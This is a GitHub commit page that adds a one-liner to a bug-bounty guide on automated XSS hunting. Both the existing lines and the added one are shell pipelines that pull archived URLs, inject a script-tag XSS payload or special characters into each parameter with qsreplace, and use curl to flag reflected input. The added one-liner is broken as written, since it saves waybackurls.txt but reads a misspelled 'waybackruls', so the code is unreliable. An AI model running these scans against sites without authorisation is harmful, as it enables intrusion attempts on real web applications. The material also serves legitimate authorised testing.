Skip to content

Commit

Permalink
Merge pull request KathanP19#226 from princep4/patch-1
Browse files Browse the repository at this point in the history
check vuln params
  • Loading branch information
KathanP19 authored Jun 3, 2023
2 parents 48fe999 + 769b463 commit 22ef490
Showing 1 changed file with 6 additions and 0 deletions.
6 changes: 6 additions & 0 deletions XSS/Automated_XSS.md
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,11 @@ waybackurls testphp.vulnweb.com | gf xss | sed 's/=.*/=/' | sort -u | tee Possib
```bash
waybackurls testphp.vulnweb.com| grep '=' | qsreplace '"><script>alert(1)</script>' | while read host do ; do curl -s --path-as-is --insecure "$host" | grep -qs "<script>alert(1)</script>" && echo "$host \033[0;31m" Vulnerable;done
```
## Find the parameters which are not filtering special characters - One Liner
```bash
echo "test.url" | waybackurls | grep "=" | tee waybackurls.txt
cat waybackruls | egrep -iv ".(jpg|jpeg|js|css|gif|tif|tiff|png|woff|woff2|ico|pdf|svg|txt)" | qsreplace '"><()'| tee combinedfuzz.json && cat combinedfuzz.json | while read host do ; do curl --silent --path-as-is --insecure "$host" | grep -qs "\"><()" && echo -e "$host \033[91m Vullnerable \e[0m \n" || echo -e "$host \033[92m Not Vulnerable \e[0m \n"; done | tee XSS.txt
```

## Tools Download Links:-

Expand All @@ -46,3 +51,4 @@ Find Script here : [QuickXSS](https://github.com/theinfosecguy/QuickXSS)
If you have any Questions, Reach out to me via [Twitter](https://twitter.com/g0t_rOoT_)
## Twitter : [Fani Malik](https://twitter.com/fanimalikhack)
## Twitter : [Faizee Asad](https://twitter.com/faizee_asad)
## Twitter : [Prince Prafull](https://twitter.com/princeprafull3)

0 comments on commit 22ef490

Please sign in to comment.